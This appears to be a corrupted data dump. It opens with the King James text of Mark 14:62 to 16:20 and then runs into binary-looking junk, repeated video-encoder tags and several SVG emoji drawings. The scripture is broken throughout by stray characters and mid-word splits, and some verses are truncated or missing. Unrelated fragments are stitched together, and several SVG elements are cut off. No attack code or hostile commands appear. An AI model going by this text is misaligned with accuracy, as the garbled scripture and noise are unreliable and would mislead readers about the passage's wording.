14:62: And Jesus said, I am: and ye shall see the Son of man sitting on the right hand of power, and coming in the clouds of heaven.
14:63: Then the high priest rent his clothes, and saith, What need we any further witnesses?
14:64: Ye have heard the blasphemy: what think ye? And they all condemned him to be guilty of death.
14:65: And some began to spit on him, and to cover his face, and to buffet him, and to say unto him, Prophesy:M
 and the servants did strike him with the palms of their hands.
14:66: And as Peter was beneath in the palace, there cometh one of the maids of the high priest:
14:67: And when she saw Peter warming himself, she looked upon him, and said, And thou also wast with Jesus of Nazareth.
14:68: But he denied, saying, I know not, neither understand I what thou sayest. And he went out into the porch; and the cock crew.
14:69: And a maid saw him again, and began to say to them that stood by, This is one of them.
e denied it again. And a little after, they that stood by said again to Peter, Surely thou art one of them: for thou art a Galilaean, and thy speech agreeth thereto.
14:71: But he began to curse and to swear, saying, I know not this man of whom ye speak.
14:72: And the second time the cock crew. And Peter called to mind the word that Jesus said unto him, Before the cock crow twice, thou shalt deny me thrice. And when he thought thereon, he wept.
15:1: And straightway in the morning the chief priests helM
d a consultation with the elders and scribes and the whole council, and bound Jesus, and carried him away, and delivered him to Pilate.
15:2: And Pilate asked him, Art thou the King of the Jews? And he answering said unto him, Thou sayest it.
15:3: And the chief priests accused him of many things: but he answered nothing.
15:4: And Pilate asked him again, saying, Answerest thou nothing? behold how many things they witness against thee.
15:5: But Jesus yet answered nothing; so that Pilate marvelled.
t feast he released unto them one prisoner, whomsoever they desired.
15:7: And there was one named Barabbas, which lay bound with them that had made insurrection with him, who had committed murder in the insurrection.
15:8: And the multitude crying aloud began to desire him to do as he had ever done unto them.
15:9: But Pilate answered them, saying, Will ye that I release unto you the King of the Jews?
15:10: For he knew that the chief priests had delivered him for envy.
15:11: But the chief priests moved the peoplM
e, that he should rather release Barabbas unto them.
15:12: And Pilate answered and said again unto them, What will ye then that I shall do unto him whom ye call the King of the Jews?
15:13: And they cried out again, Crucify him.
15:14: Then Pilate said unto them, Why, what evil hath he done? And they cried out the more exceedingly, Crucify him.
15:15: And so Pilate, willing to content the people, released Barabbas unto them, and delivered Jesus, when he had scourged him, to be crucified.
15:16: And the soldiers leM
d him away into the hall, called Praetorium; and they call together the whole band.
15:17: And they clothed him with purple, and platted a crown of thorns, and put it about his head,
15:18: And began to salute him, Hail, King of the Jews!
15:19: And they smote him on the head with a reed, and did spit upon him, and bowing their knees worshipped him.
15:20: And when they had mocked him, they took off the purple from him, and put his own clothes on him, and led him out to crucify him.
15:21: And they compel one SimonM
 a Cyrenian, who passed by, coming out of the country, the father of Alexander and Rufus, to bear his cross.
15:22: And they bring him unto the place Golgotha, which is, being interpreted, The place of a skull.
15:23: And they gave him to drink wine mingled with myrrh: but he received it not.
15:24: And when they had crucified him, they parted his garments, casting lots upon them, what every man should take.
15:25: And it was the third hour, and they crucified him.
15:26: And the superscription of his accusation waM
s written over, THE KING OF THE JEWS.
15:27: And with him they crucify two thieves; the one on his right hand, and the other on his left.
15:28: And the scripture was fulfilled, which saith, And he was numbered with the transgressors.
15:29: And they that passed by railed on him, wagging their heads, and saying, Ah, thou that destroyest the temple, and buildest it in three days,
15:30: Save thyself, and come down from the cross.
15:31: Likewise also the chief priests mocking said among themselves with the scribes, M
He saved others; himself he cannot save.
15:32: Let Christ the King of Israel descend now from the cross, that we may see and believe. And they that were crucified with him reviled him.
15:33: And when the sixth hour was come, there was darkness over the whole land until the ninth hour.
15:34: And at the ninth hour Jesus cried with a loud voice, saying, Eloi, Eloi, lama sabachthani? which is, being interpreted, My God, my God, why hast thou forsaken me?
15:35: And some of them that stood by, when they heard it, saiM
d, Behold, he calleth Elias.
15:36: And one ran and filled a spunge full of vinegar, and put it on a reed, and gave him to drink, saying, Let alone; let us see whether Elias will come to take him down.
15:37: And Jesus cried with a loud voice, and gave up the ghost.
15:38: And the veil of the temple was rent in twain from the top to the bottom.
15:39: And when the centurion, which stood over against him, saw that he so cried out, and gave up the ghost, he said, Truly this man was the Son of God.
15:40: There were aM
lso women looking on afar off: among whom was Mary Magdalene, and Mary the mother of James the less and of Joses, and Salome;
15:41: (Who also, when he was in Galilee, followed him, and ministered unto him;) and many other women which came up with him unto Jerusalem.
15:42: And now when the even was come, because it was the preparation, that is, the day before the sabbath,
15:43: Joseph of Arimathaea, an honourable counsellor, which also waited for the kingdom of God, came, and went in boldly unto Pilate, and craveM
d the body of Jesus.
15:44: And Pilate marvelled if he were already dead: and calling unto him the centurion, he asked him whether he had been any while dead.
15:45: And when he knew it of the centurion, he gave the body to Joseph.
15:46: And he bought fine linen, and took him down, and wrapped him in the linen, and laid him in a sepulchre which was hewn out of a rock, and rolled a stone unto the door of the sepulchre.
15:47: And Mary Magdalene and Mary the mother of Joses beheld where he was laid.
: And when the sabbath was past, Mary Magdalene, and Mary the mother of James, and Salome, had bought sweet spices, that they might come and anoint him.
16:2: And very early in the morning the first day of the week, they came unto the sepulchre at the rising of the sun.
16:3: And they said among themselves, Who shall roll us away the stone from the door of the sepulchre?
16:4: And when they looked, they saw that the stone was rolled away: for it was very great.
16:5: And entering into the sepulchre, they saw a younM
g man sitting on the right side, clothed in a long white garment; and they were affrighted.
16:6: And he saith unto them, Be not affrighted: Ye seek Jesus of Nazareth, which was crucified: he is risen; he is not here: behold the place where they laid him.
16:7: But go your way, tell his disciples and Peter that he goeth before you into Galilee: there shall ye see him, as he said unto you.
16:8: And they went out quickly, and fled from the sepulchre; for they trembled and were amazed: neither said they any thing to M
any man; for they were afraid.
16:9: Now when Jesus was risen early the first day of the week, he appeared first to Mary Magdalene, out of whom he had cast seven devils.
16:10: And she went and told them that had been with him, as they mourned and wept.
16:11: And they, when they had heard that he was alive, and had been seen of her, believed not.
16:12: After that he appeared in another form unto two of them, as they walked, and went into the country.
16:13: And they went and told it unto the residue: neither beliM
16:14: Afterward he appeared unto the eleven as they sat at meat, and upbraided them with their unbelief and hardness of heart, because they believed not them which had seen him after he was risen.
16:15: And he said unto them, Go ye into all the world, and preach the gospel to every creature.
16:16: He that believeth and is baptized shall be saved; but he that believeth not shall be damned.
16:17: And these signs shall follow them that believe; In my name shall they cast out devils; they shall speaM
16:18: They shall take up serpents; and if they drink any deadly thing, it shall not hurt them; they shall lay hands on the sick, and they shall recover.
16:19: So then after the Lord had spoken unto them, he was received up into heaven, and sat on the right hand of God.
16:20: And they went forth, and preached every where, the Lord working with them, and confirming the word with signs following. Amen.h!
(:3=<9387@H\N@DWE78PmQW_bghg>Mqypdx\egc
/cB8Bcccccccccccccccccccccccccccccccccccccccccccccccccc
59.37.100 libvpx-vp9g
((((((((((((((((((((((((((((((((((((((((((((((((((
<svg id="emoji" viewBox="0 0 72 72" xmlns="http://www.w3.org/2000/svg">
  <g id="line-supplement">
    <line x1="44.96" x2="44.96" y1="44.3741" y2="48.8453" fill="none" stroke="#000" stroke-linecap="round" stroke-linejoin="round" stroke-width="2"/>
    <circle cx="44.9259" cy="51.6467" r="1"/>
    <line x1="28.1472" x2="27.0463" y1="44.0809" y2="51.3195" fill="none" stroke="#000" stroke-linecap="round" stroke-linejoin="round" stroke-width="2"/>
    <line x1="31.3692" x2="30.2683" y1="44.0809" y2="51.3195" fill="nonM
e" stroke="#000" stroke-linecap="round" stroke-linejoin="round" stroke-width="2"/>
    <line x1="25.7875" x2="33.1094" y1="46.0973" y2="46.0901" fill="none" stroke="#000" stroke-linecap="round" stroke-linejoin="round" stroke-width="2"/>
    <line x1="25.3062" x2="32.628" y1="49.2832" y2="49.2759" fill="none" stroke="#000" stroke-linecap="round" stroke-linejoin="round" stroke-width="2"/>
    <path fill="none" stroke="#000" stroke-linecap="round" stroke-linejoin="round" stroke-width="2" d="M40.2178,45.7188a1.5322,1.5M
322,0,0,0-1.4173-.8272,1.5714,1.5714,0,0,0-1.6771,1.3525s-.2434,1.3691,1.8124,1.4336c0,0,1.4607.2435,1.4607,1.4607,0,1.3337-1.4337,1.38-1.4337,1.38s-1.3707.1039-1.752-.732"/>
    <line x1="38.8054" x2="38.8054" y1="44.6395" y2="43.6338" fill="none" stroke="#000" stroke-linecap="round" stroke-linejoin="round" stroke-width="2"/>
    <line x1="38.8054" x2="38.8054" y1="51.7782" y2="50.7725" fill="none" stroke="#000" stroke-linecap="round" stroke-linejoin="round" stroke-width="2"/>
l="#ea5a47" d="M36,13A23,23,0,1,0,59,36,23.026,23.026,0,0,0,36,13Z"/>
    <rect x="19.5181" y="41.076" rx="4.0768" width="32.2641" height="13.5745" fill="#3f3f3f"/>
    <line x1="44.96" x2="44.96" y1="44.3741" y2="48.8453" fill="none" stroke="#fff" stroke-linecap="round" stroke-linejoin="round" stroke-width="2"/>
    <circle cx="44.9259" cy="51.6467" r="1" fill="#fff"/>
    <line x1="28.1472" x2="27.0463" y1="44.0809" y2="51.3195" fill="none" stroke="#fff" stroke-linecap="round" stroke-linejoin="round" stroke-widthM
    <line x1="31.3692" x2="30.2683" y1="44.0809" y2="51.3195" fill="none" stroke="#fff" stroke-linecap="round" stroke-linejoin="round" stroke-width="2"/>
    <line x1="25.7875" x2="33.1094" y1="46.0973" y2="46.0901" fill="none" stroke="#fff" stroke-linecap="round" stroke-linejoin="round" stroke-width="2"/>
    <line x1="25.3062" x2="32.628" y1="49.2832" y2="49.2759" fill="none" stroke="#fff" stroke-linecap="round" stroke-linejoin="round" stroke-width="2"/>
    <path fill="none" stroke="#fff" stroke-linecap="M
round" stroke-linejoin="round" stroke-width="2" d="M40.2178,45.7188a1.5322,1.5322,0,0,0-1.4173-.8272,1.5714,1.5714,0,0,0-1.6771,1.3525s-.2434,1.3691,1.8124,1.4336c0,0,1.4607.2435,1.4607,1.4607,0,1.3337-1.4337,1.38-1.4337,1.38s-1.3707.1039-1.752-.732"/>
    <line x1="38.8054" x2="38.8054" y1="44.6395" y2="43.6338" fill="none" stroke="#fff" stroke-linecap="round" stroke-linejoin="round" stroke-width="2"/>
    <line x1="38.8054" x2="38.8054" y1="51.7782" y2="50.7725" fill="none" stroke="#fff" stroke-linecap="round" stM
roke-linejoin="round" stroke-width="2"/>
    <circle cx="36" cy="36" r="23" fill="none" stroke="#000" stroke-miterlimit="10" stroke-width="2"/>
    <path d="M30,33.9252a3,3,0,1,1-3-3,3.0012,3.0012,0,0,1,3,3"/>
    <path d="M48,33.9252a3,3,0,1,1-3-3,3.0011,3.0011,0,0,1,3,3"/>
    <line x1="23" x2="30" y1="25.1126" y2="29.1126" fill="none" stroke="#000" stroke-linecap="round" stroke-linejoin="round" stroke-width="2"/>
    <line x1="49" x2="42" y1="25.1126" y2="29.1126" fill="none" stroke="#000"L
 stroke-linecap="round" stroke-linejoin="round" stroke-width="2"/>
    <rect x="19.868" y="41.076" rx="4.0768" width="32.2641" height="13.5745" fill="none" stroke="#000" stroke-miterlimit="2" stroke-width="2"/>
59.37.100 libvpx-vp9g
<svg id="emoji" viewBox="0 0 72 72" xmlns="http://www.w3.org/2000/svg">
    <path fill="#A57939" d="M23,34c0,0-1.5-3-1-5c0.3-1.2,1.3-1.8,3-3c1.6-1.1,2-1.7,3-2c0.7-2.5,1.5-4.5,2-7 c0.2624-1.3501,0.5962-2.6853,1-4c3.1022,1.4756,6.1082,3.1456,9,5c2.3,1.5,3.5,2.4,4,4c0.6,2.1-0.5,4.1-1,5 c1.733-0.395,3.5522-0.0312,5,1c1.0498,0.6835,1.7728,1.7681,2,3c0.2183,1.4136-0.1422,2.8555-1,4c1.3967-0.0125,2.7735,0.3317,4,1 c1.3238,0.613,2.387,1.6762,3,3c0.7,1.9-0.2,4.3-2,6c1.4142-0.2318,2.8613,0.13,4,1c1.5089,1.19M
2,2.2706,3.0962,2,5 c-0.5,3.5-4.6,4.9-5,5c-2.2,0.7-5.3,0.2-10.2-0.4c-4.4-0.6-12-0.4-18-0.4C21.3,56.3,14,54,14,51c0-2.7,2.3-4.5,3-5 c0.6347-0.3938,1.3042-0.7285,2-1c-1-2-2-3-2-4c0-1.2,1.1-3.2,3-5C22.1,33.9,23,34,23,34z"/>
    <path fill="#6A462F" d="M31,13c3.1022,1.4756,6.1082,3.1456,9,5c2.3,1.5,3.5,2.4,4,4c0.6,2.1-0.5,4.1-1,5 c1.733-0.395,3.5522-0.0312,5,1c1.0498,0.6835,1.7728,1.7681,2,3c0.2183,1.4136-0.1422,2.8555-1,4c1.3967-0.0125,2.7735,0.3317,4,1 c1.3238,0.613,2.387,1.6762,3,3c0.7,1.9-0.2,4.3-2,6c1.4142-0.2318,M
2.8613,0.13,4,1c1.5089,1.192,2.2706,3.0962,2,5 c-0.5,3.5-4.6,4.9-5,5c-2.2,0.7-14.8-1.2-10-2c6-1,7.9-2.7,8-3c1-2-2-4-4-4c0.2-3.3-0.7-5.8-6-7c0.7-3.2-0.2-8.1-4-9 c2-4,0.4-7.2-1-10C36,17,35,15,31,13z"/>
    <ellipse cx="27.2" cy="39.4001" rx="4.9" ry="6.9" fill="#FFFFFF"/>
    <ellipse cx="43.6" cy="38.9001" rx="4.9" ry="6.9" fill="#FFFFFF"/>
    <path fill="none" stroke="#000000" stroke-linecap="round" stroke-linejoin="round" stroke-width="2" d="M19,45 c-0.1-0.2-2.6-4.1-1-7c1.3-2.3,4.6-2.9,5-3 M
M43,27c0.3-0.9,1.5-3.4,1-5c-0.4-1.3-0.9-3-5-5l-8-4c0.1933,0.9907,0.1933,2.0093,0,3 c-0.2,1.1-0.7,3.3-1,5 M54,45c0.6,0.1,4.8,0.5,6,4c1,3-2,7-6,7c-4.3,0-7.5-1.2-11.7-1.6 M23.6,35.1c-0.2,0-0.4-0.1-0.6-0.1 c-0.7164-1.2072-1.064-2.5977-1-4c0.1898-2.5628,1.7074-4.8391,4-6c1.9-0.9,2.7-0.1,5-1c1.5814-0.6175,2.9644-1.6547,4-3 M48.5,35.7c0.199-0.2085,0.3673-0.4442,0.5-0.7c0.2-0.2,1.7-2.9,1-5c-1-3-6-2.9-7-3c-1.3213,1.9795-3.0205,3.6787-5,5 c-1.8714,1.2946-3.9774,2.2117-6.2,2.7 M31.3,44.7c2.9464-0.3254,5.8185-1.1364,8.5-2.4 M2M
4.2,45h0.7 M50,35 c1.5364,0.1434,2.9634,0.8569,4,2c1.3,1.7,2.5,4.5,0,7c-2.7669,2.8203-6.2094,4.8858-10,6c-6,2-15,5-21,5c-5.1,0-9-1-9-5 c0-4.4,7.7-4.9,10.2-5"/>
    <path fill="none" stroke="#000000" stroke-miterlimit="10" stroke-width="2.436" d="M30.9,44.6 c-0.7483,1.0288-1.9286,1.6558-3.2,1.7c-2.7,0-4.9-3.1-4.9-6.9s2.2-6.9,4.9-6.9s4.9,3.1,4.9,6.9 C32.6207,41.2731,32.0232,43.1008,30.9,44.6"/>
    <path fill="none" stroke="#000000" stroke-miterlimit="10" stroke-width="2.436" d="M39.8,42.3 c-0.4095-1.0862-0.613-2.239M0
2-0.6-3.4c0-3.8,2.2-6.9,4.9-6.9s4.9,3,4.9,6.9s-2.2,6.9-4.9,6.9C42.3,45.8,40.7,44.4,39.8,42.3"/>
    <path d="M46.1,39c0,1.1046-0.8954,2-2,2s-2-0.8954-2-2s0.8954-2,2-2S46.1,37.8954,46.1,39"/>
    <path d="M29.7,39.4c0,1.1046-0.8954,2-2,2s-2-0.8954-2-2s0.8954-2,2-2S29.7,38.2954,29.7,39.4"/>
59.37.100 libvpx-vp9g
((((((((((((((((((((((((((((((((((((((((((((((((((
59.37.100 libvpx-vp9g
<svg id="emoji" viewBox="0 0 72 72" xmlns="http://www.w3.org/2000/svg">
    <path fill="#FCEA2B" d="M36,13c-12.6823,0-23,10.3177-23,23c0,12.6822,10.3177,23,23,23c12.6822,0,23-10.3178,23-23 C59,23.3177,48.6822,13,36,13z"/>
  <g id="skin-shadow"/>
    <circle cx="36" cy="36" r="23" fill="none" stroke="#000000" stroke-miterlimit="10" stroke-width="2"/>
    <path d="M30,32.9252c0,1.6567-1.3448,3-3,3c-1.6553,0-3-1.3433-3-3c0-1.6553,1.3447-3,3-3C28M
.6552,29.9252,30,31.27,30,32.9252"/>
    <path d="M48,32.9252c0,1.6567-1.3447,3-3,3s-3-1.3433-3-3c0-1.6553,1.3447-3,3-3S48,31.27,48,32.9252"/>
    <line x1="23" x2="30" y1="24" y2="28" fill="none" stroke="#000000" stroke-linecap="round" stroke-linejoin="round" stroke-miterlimit="10" stroke-width="2"/>
    <line x1="49" x2="42" y1="24" y2="28" fill="none" stroke="#000000" stroke-linecap="round" stroke-linejoin="round" stroke-miterlimit="10" stroke-width="2"/>
    <path fill="none" stroke="#000000" stroke-linecap="roL
und" stroke-linejoin="round" stroke-miterlimit="10" stroke-width="2" d="M29.5,43c1.2841-0.6376,3.9847-1.0308,6.8421-0.9981c2.6235,0.03,4.9897,0.4146,6.1579,0.9981"/>
text/plain;charset=utf-8
<svg id="emoji" viewBox="0 0 72 72" xmlns="http://www.w3.org/2000/svg">
    <path fill="#fcea2b" stroke="none" d="M21.6616,43.9634c-2.0638-0.1527-3.6226-1.9342-3.5-4v-7c-0.2578-1.933,1.1001-3.709,3.0331-3.9669 c1.933-0.2578,3.709,1.1001,3.9669,3.0331c0.0413,0.3099,0.0413,0.6239,0,0.9337v7 C25.2842,42.0292,23.7254,43.8107,21.6616,43.9634z"/>
    <path fill="#fcea2b" stroke="none" d="M28.724,50.1933c-2.0638-0.1527-3.6226-1.9342-3.5-4v-15c-0.2578-1.933,1.1001-3.709,3.M
0331-3.9669 c1.933-0.2578,3.709,1.1001,3.9669,3.0331c0.0413,0.3099,0.0413,0.6239,0,0.9337v15 C32.3466,48.2591,30.7878,50.0406,28.724,50.1933z"/>
    <path fill="#fcea2b" stroke="none" d="M54.3862,37.9375L42.2667,7.68c-2.0167-4.6175-9.2042-1.7425-7.5148,2.7128l3.1856,9.0447L40.5,35.6042"/>
    <path fill="#fcea2b" stroke="none" d="M46.6991,19.3468l3.2966-9.6649c0.9549-4.9474-6.5964-6.6514-7.729-2.0232"/>
    <path fill="#fcea2b" stroke="none" d="M33.9375,54.375l9.9333-30.5202c0.9549-4.9474-3.1207-16.3312-11.6157,7.9M
    <path fill="#fcea2b" stroke="none" d="M18.6704,46.5v6.1723c1.1617,8.6001,8.6874,14.9847,17.5125,14.857c9.8346,0,18.2033-6.833,18.2033-16.878 l-0.0011-0.001l-0.6684-11.129c-0.1659-2.228-2.037-3.9616-4.3095-3.993H39.2339c-2.1016-0.1226-3.914,1.4362-4.0694,3.5 c0.1852,2.1099,1.8969,3.7781,4.045,3.942l1.0672,0.117c2.2249,0.242,4.045,1.342,4.045,2.442v2v0.44 c-2.1907,0.4577-4.2188,1.4784-5.8772,2.958"/>
    <polygon fill="#fcea2b" stroke="none" points="43.4375,54.875 17.1667,46.9172 17.1667,39.9583 44.5938,39M
  <g id="skin-shadow"/>
    <path fill="none" stroke="#000000" stroke-linecap="round" stroke-linejoin="round" stroke-width="2" d="M21.6616,43.9634 c-2.0638-0.1527-3.6226-1.9342-3.5-4v-7c-0.2578-1.933,1.1001-3.709,3.0331-3.9669c1.933-0.2578,3.709,1.1001,3.9669,3.0331 c0.0413,0.3099,0.0413,0.6239,0,0.9337v7C25.2842,42.0292,23.7254,43.8107,21.6616,43.9634z"/>
    <path fill="none" stroke="#000000" stroke-linecap="round" stroke-linejoin="round" stroke-width="2" d="M28.724,50.1933 c-2.063M
8-0.1527-3.6226-1.9342-3.5-4v-15c-0.2578-1.933,1.1001-3.709,3.0331-3.9669c1.933-0.2578,3.709,1.1001,3.9669,3.0331 c0.0413,0.3099,0.0413,0.6239,0,0.9337v15C32.3466,48.2591,30.7878,50.0406,28.724,50.1933z"/>
    <line x1="37.9375" x2="34.9665" y1="19.4375" y2="27.195" fill="none" stroke="#000000" stroke-linecap="round" stroke-linejoin="round" stroke-width="2"/>
    <path fill="none" stroke="#000000" stroke-linecap="round" stroke-linejoin="round" stroke-width="2" d="M51.5391,32.0863 L42.2667,7.68c-2.0167-4.6175-9.2042M
-1.7425-7.5148,2.7128l3.1856,9.0447l4.4316,12.533"/>
    <path fill="none" stroke="#000000" stroke-linecap="round" stroke-linejoin="round" stroke-width="2" d="M46.6991,19.3468 l3.2966-9.6649c0.9549-4.9474-6.5964-6.6514-7.729-2.0232"/>
    <path fill="none" stroke="#000000" stroke-linecap="round" stroke-linejoin="round" stroke-width="2" d="M18.1302,47.0806 c0,0-0.0905,4.1182,0,5.487c0.5722,8.6567,9.6883,15.0894,18.363,14.9617c9.667,0,17.893-6.833,17.893-16.878l-0.001-0.001 l-0.657-11.129c-0.1631-2.228-2.0023-3.9616-L
4.236-3.993h-10c-2.0658-0.1226-3.8473,1.4362-4,3.5 c0.1821,2.1099,1.8646,3.7781,3.976,3.942l1.049,0.117c2.187,0.242,3.976,1.342,3.976,2.442v2v0.44 c-2.1534,0.4577-4.1469,1.4784-5.777,2.958"/>
59.37.100 libvpx-vp9g
(:3=<9387@H\N@DWE78PmQW_bghg>Mqypdx\egc
/cB8Bcccccccccccccccccccccccccccccccccccccccccccccccccc
<svg id="emoji" viewBox="0 0 72 72" xmlns="http://www.w3.org/2000/svg">
    <circle cx="36" cy="35.8" r="23" fill="none" stroke="#FCEA2B" stroke-miterlimit="10" stroke-width="1.8"/>
    <path fill="#FCEA2B" d="M46.8,56.3c11.3-6,15.7-20.2,9.7-31.5s-20-15.5-31.3-9.5s-15.5,20-9.5,31.3c2.3,4.2,5.8,7.7,10.1,9.8 c0,1.6,0.7,3.2,1.8,4.4c1.4,1.6,8.5,3.3,12.2-0.2C40.9,59.6,47.1,56.4,46.8,56.3z"/>
  <g id="skin-shadow"/>
    <path fill="none" stroke="#0M
00" stroke-linecap="round" stroke-linejoin="round" stroke-width="2" d="M51.5,52.8c9.4-8.6,10.1-23.1,1.5-32.5s-23.1-10.1-32.5-1.5S10.4,41.9,19,51.3c0.9,0.9,1.8,1.8,2.8,2.6"/>
    <path fill="none" stroke="#000" stroke-linecap="round" stroke-linejoin="round" stroke-width="2" d="M21.4,23.6c0.7-1.4,1.9-2.4,3.3-2.9c1.3-0.7,2.9-0.8,4.3-0.4"/>
    <path fill="none" stroke="#000" stroke-linecap="round" stroke-linejoin="round" stroke-width="2" d="M50.7,23.6c-1.5-2.7-4.6-4-7.6-3.3"/>
    <path fill="none" stroke="#000" strokM
e-linecap="round" stroke-linejoin="round" stroke-width="2" d="M34,41.5c-1.4-0.2-2.8-0.7-4-1.5"/>
    <path fill="none" stroke="#000" stroke-linecap="round" stroke-linejoin="round" stroke-width="2" d="M42.1,40c-1.3,0.7-2.7,1.2-4.2,1.5"/>
    <path fill="none" stroke="#000" stroke-linecap="round" stroke-linejoin="round" stroke-width="2" d="M37.8,38.6c0-1-0.9-1.9-1.9-1.9S34,37.6,34,38.6"/>
    <line x1="34" x2="34" y1="47.4" y2="38.6" fill="none" stroke="#000" stroke-linecap="round" stroke-linejoin="round" stroke-widtM
    <line x1="37.8" x2="37.8" y1="38.6" y2="47.5" fill="none" stroke="#000" stroke-linecap="round" stroke-linejoin="round" stroke-width="2"/>
    <path fill="none" stroke="#000" stroke-miterlimit="10" stroke-width="2" d="M37.2,47.4c1.7,0,3,1.3,3,3l0,0c0,0.6,0,1.8,0,1.8c0.3,0,3,0,4.1,0c1.3-0.1,2.5,0.7,2.8,2s-0.3,2.6-1.4,3.2 c-0.5,0.3-1.1,0.6-1.6,0.9c-2,1.1-4.1,2.2-6.2,3.3c-1.9,1-4,1.4-6.1,1c-3.6-0.6-6-4-5.4-7.7c0.2-1.5,0.5-3,1-4.4 c0.6-1.8,2.3-3.1,4.2-3.1H37.2z"/>
    <path d="M30,27.8c0,1.7-1.3,3-3,3s-3-1.3M
-3-3s1.3-3,3-3l0,0c1.6,0,3,1.3,3,2.9C30,27.7,30,27.8,30,27.8"/>
    <path d="M48,27.8c0,1.7-1.3,3-3,3s-3-1.3-3-3s1.3-3,3-3l0,0c1.6,0,3,1.3,3,2.9C48,27.7,48,27.8,48,27.8"/>
    <path fill="none" stroke="#000" stroke-linecap="round" stroke-linejoin="round" stroke-miterlimit="10" stroke-width="2" d="M36.2,51.8c-1.3,0-2,0.7-2.5,1.5c-0.6,0.9,0,2.2,1,2.2H39c0.7,0,1.2-0.6,1.2-1.4v-1.8v-0.1"/>
(:3=<9387@H\N@DWE78PmQW_bghg>Mqypdx\egc
/cB8Bcccccccccccccccccccccccccccccccccccccccccccccccccc
59.37.100 libvpx-vp9g
<svg id="emoji" viewBox="0 0 72 72" xmlns="http://www.w3.org/2000/svg">
    <circle cx="36" cy="36" r="23" fill="#fcea2b"/>
    <path fill="#fff" d="M50.595,41.64a11.5554,11.5554,0,0,1-.87,4.49c-12.49,3.03-25.43.34-27.49-.13a11.4347,11.4347,0,0,1-.83-4.36h.11s14.8,3.59,28.89.07Z"/>
    <path fill="#ea5a47" d="M49.7251,46.13c-1.79,4.27-6.35,7.23-13.69,7.23-7.41,0-12.03-3.03-13.8-7.36C24.2951,46.47,37.235,49.16,49.7251,46.13Z"/>
  <g id="skin-shadow"/>
    <polyline fill="none" stroke="#000" stroke-linecap="round" stroke-linejoin="round" stroke-width="2" points="25.168 27.413 31.755 31.427 25.168 35.165"/>
    <polyline fill="none" stroke="#000" stroke-linecap="round" stroke-linejoin="round" stroke-width="2" points="46.832 27.413 40.245 31.427 46.832 35.165"/>
    <circle cx="36" cy="36" r="23" fill="none" stroke="#000" stroke-linecap="round" stroke-linejoin="round" stroke-width="2"/>
    <path fill="none" stroke="#000" stroke-linecap="round" stroke-lineM
join="round" stroke-width="2" d="M50.595,41.64a11.5554,11.5554,0,0,1-.87,4.49c-12.49,3.03-25.43.34-27.49-.13a11.4347,11.4347,0,0,1-.83-4.36h.11s14.8,3.59,28.89.07Z"/>
    <path fill="none" stroke="#000" stroke-linecap="round" stroke-linejoin="round" stroke-width="2" d="M49.7251,46.13c-1.79,4.27-6.35,7.23-13.69,7.23-7.41,0-12.03-3.03-13.8-7.36C24.2951,46.47,37.235,49.16,49.7251,46.13Z"/>
(:3=<9387@H\N@DWE78PmQW_bghg>Mqypdx\egc
/cB8Bcccccccccccccccccccccccccccccccccccccccccccccccccc
<svg id="emoji" viewBox="0 0 72 72" xmlns="http://www.w3.org/2000/svg">
    <path fill="#fcea2b" d="M58.0473,37.3569,55.892,17.8921a3.25,3.25,0,0,0-1.4268-2.3486,3.1816,3.1816,0,0,0-2.665-.417,5.1412,5.1412,0,0,0-1.9934,1.0919,2.6586,2.6586,0,0,0-.3328,0,5.2528,5.2528,0,0,0-4.33,2.9328,4.18,4.18,0,0,0-3.48-.0832c-2.5957,1.1074-3.9454,4.6015-4.1895,5.291C35.7465,28.3608,31.3334,35.93,26.9984,35.93a13.4336,13.4336,0,0,0-7.3056,2.2177c-3.4746,1.9522-5.8047,6.3194-5.8047,10.8887a13.125M
6,13.1256,0,0,0,13.1143,13.11c.53-.002,13.0634-.0655,19.2861-1.79,4.32-1.1982,8.4785-10.5781,11.206-18.2363A10.6553,10.6553,0,0,0,58.0473,37.3569Z"/>
    <path fill="none" stroke="#000" stroke-linecap="round" stroke-linejoin="round" stroke-width="2" d="M44.2809,43.9275l3.9746-8.4261a1.5937,1.5937,0,0,0,.15-.7672l-.629-11.4366a1.8032,1.8032,0,0,0-2.0552-1.6982c-1.7265.2671-3.9661,1.4784-3.9661,5.9663v4.98a1.5938,1.5938,0,0,1-.1559.6874l-3.7839,7.9114a1.5812,1.5812,0,0,1-1.0854.8666c-1.9.4183-6M
.9555,1.3069-10.3228-.181"/>
    <path fill="none" stroke="#000" stroke-linecap="round" stroke-linejoin="round" stroke-width="2" d="M45.43,21.6532c.4887-3.4242,2.6038-4.2829,4.1451-4.44a1.6589,1.6589,0,0,1,1.81,1.51L52.8879,35.45a2.616,2.616,0,0,1-.25,1.3725L49.201,43.9275"/>
    <path fill="none" stroke="#000" stroke-linecap="round" stroke-linejoin="round" stroke-width="2" d="M31.0544,35.3131c4.1148-3.195,7.1215-10.0539,7.3385-10.5576.0092-.0213.0163-.04.0241-.0623.1758-.4961,2.3675-6.4132,6.327-4.6275"/>
h fill="none" stroke="#000" stroke-linecap="round" stroke-linejoin="round" stroke-width="2" d="M50.16,17.2593a4.114,4.114,0,0,1,1.92-1.1726,2.2321,2.2321,0,0,1,2.8183,1.9156l2.155,19.4649a9.705,9.705,0,0,1-.5014,4.3182c-1.7368,4.8784-6.2583,16.4236-10.531,17.6079-6.1645,1.7086-19.0223,1.7539-19.0223,1.7539a12.11,12.11,0,0,1-12.11-12.11c0-4.18,2.118-8.26,5.3394-10.0422a12.41,12.41,0,0,1,6.771-2.0645"/>
((((((((((((((((((((((((((((((((((((((((((((((((((
<svg id="emoji" viewBox="0 0 72 72" xmlns="http://www.w3.org/2000/svg">
    <circle cx="36" cy="36" r="23" fill="#fcea2b"/>
    <path fill="#fff" d="M50.595,41.64a11.5554,11.5554,0,0,1-.87,4.49c-12.49,3.03-25.43.34-27.49-.13a11.4347,11.4347,0,0,1-.83-4.36h.11s14.8,3.59,28.89.07Z"/>
    <path fill="#ea5a47" d="M49.7251,46.13c-1.79,4.27-6.35,7.23-13.69,7.23-7.41,0-12.03-3.03-13.8-7.36C24.2951,46.47,37.235,49.16,49.7251,46.13Z"/>
  <g id="skin-shadow"/>
    <circle cx="36" cy="36" r="23" fill="none" stroke="#000" stroke-linecap="round" stroke-linejoin="round" stroke-width="2"/>
    <ellipse cx="28.5684" cy="30.818" rx="3" ry="5.4038"/>
    <ellipse cx="43.4316" cy="30.8216" rx="3" ry="5.4038"/>
    <path fill="none" stroke="#000" stroke-linecap="round" stroke-linejoin="round" stroke-width="2" d="M50.595,41.64a11.5554,11.5554,0,0,1-.87,4.49c-12.49,3.03-25.43.34-27.49-.13a11.4347,11.4347,0,0,1-.83-4.36h.11s14.8,3.59,28.89.07Z"/>
    <path fill="none" strokeL
